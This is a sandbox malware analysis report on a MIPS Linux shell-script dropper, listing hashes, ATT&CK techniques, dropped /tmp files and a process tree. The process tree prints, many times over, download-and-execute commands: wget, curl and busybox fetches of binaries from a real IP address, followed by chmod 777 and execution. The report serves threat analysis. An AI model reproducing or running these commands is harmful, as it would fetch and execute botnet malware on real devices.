4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5

Analysis

max time kernel
63s
max time network
64s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/11/2024, 02:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
Size 10KB
Sample241122-ctpv7asmex
SHA256 4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5
MD5 7adee6a82232c4e4e503f4376352494b
SHA1 23340b6f7c25a2f123fd4d1fad6b7c97bfc3160a
SHA512 51e27f561e817abb5804fa57fdad07cf5f9bdf3bdf8907c7cca587cd4a122fb7f2ca22b3db0a013b43fdcebcc7b98ed7cf847e65c2155035d9e58a65eb5c9f6c
SSDEEP 96:Thk1e+cxt3ZB0X0v050i0O0V73nAoF1M181s1f1r1FTiG/wmlp1M181s1f1r194E:FkKWEse3D/mqypJfTisfmqypJeEse3Dd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
933	chmod
939	chmod
951	chmod
870	chmod
927	chmod
957	chmod
963	chmod
975	chmod
981	chmod
852	chmod
885	chmod
897	chmod
945	chmod
921	chmod
741	chmod
803	chmod
830	chmod
864	chmod
915	chmod
747	chmod
810	chmod
903	chmod
909	chmod
969	chmod
771	chmod
858	chmod
876	chmod
891	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	curl
File opened for modification	/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	curl
File opened for modification	/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	curl
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	curl
File opened for modification	/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	curl
File opened for modification	/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	curl
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	curl
File opened for modification	/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	curl
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	curl
File opened for modification	/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	curl
File opened for modification	/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	curl
File opened for modification	/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	curl
File opened for modification	/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	curl
File opened for modification	/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	curl
File opened for modification	/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	curl
File opened for modification	/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	curl
File opened for modification	/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	curl
File opened for modification	/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	curl
File opened for modification	/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	curl
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	curl
File opened for modification	/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	curl
File opened for modification	/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	curl
File opened for modification	/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	curl
File opened for modification	/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	curl
File opened for modification	/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	curl
File opened for modification	/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	curl
File opened for modification	/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	curl
File opened for modification	/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	curl

/tmp/4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
/tmp/4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:740
- /bin/chmod
  chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:743
- /usr/bin/wget
  wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:746
- /bin/chmod
  chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:749
- /usr/bin/wget
  wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:764
- /bin/chmod
  chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Executes dropped EXE
  PID:772
- /bin/rm
  rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:775
- /usr/bin/wget
  wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:798
- /bin/chmod
  chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:806
- /usr/bin/wget
  wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:809
- /bin/chmod
  chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:812
- /usr/bin/wget
  wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:823
- /bin/chmod
  chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:834
- /usr/bin/wget
  wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:851
- /bin/chmod
  chmod 777 YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  ./YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:854
- /usr/bin/wget
  wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:857
- /bin/chmod
  chmod 777 GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  ./GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:860
- /usr/bin/wget
  wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:863
- /bin/chmod
  chmod 777 IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  ./IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:869
- /bin/chmod
  chmod 777 D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  ./D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:872
- /usr/bin/wget
  wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:875
- /bin/chmod
  chmod 777 VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  ./VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:878
- /usr/bin/wget
  wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:884
- /bin/chmod
  chmod 777 CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  ./CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:887
- /usr/bin/wget
  wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:890
- /bin/chmod
  chmod 777 c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  ./c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:893
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:896
- /bin/chmod
  chmod 777 ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  ./ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:902
- /bin/chmod
  chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:905
- /usr/bin/wget
  wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:908
- /bin/chmod
  chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:911
- /usr/bin/wget
  wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:914
- /bin/chmod
  chmod 777 IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  ./IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:917
- /usr/bin/wget
  wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:920
- /bin/chmod
  chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:923
- /usr/bin/wget
  wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:926
- /bin/chmod
  chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:929
- /usr/bin/wget
  wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:932
- /bin/chmod
  chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:935
- /usr/bin/wget
  wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:938
- /bin/chmod
  chmod 777 YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  ./YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:941
- /usr/bin/wget
  wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:944
- /bin/chmod
  chmod 777 GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  ./GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:947
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:950
- /bin/chmod
  chmod 777 ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  ./ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:953
- /usr/bin/wget
  wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:956
- /bin/chmod
  chmod 777 D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  ./D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:959
- /usr/bin/wget
  wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:962
- /bin/chmod
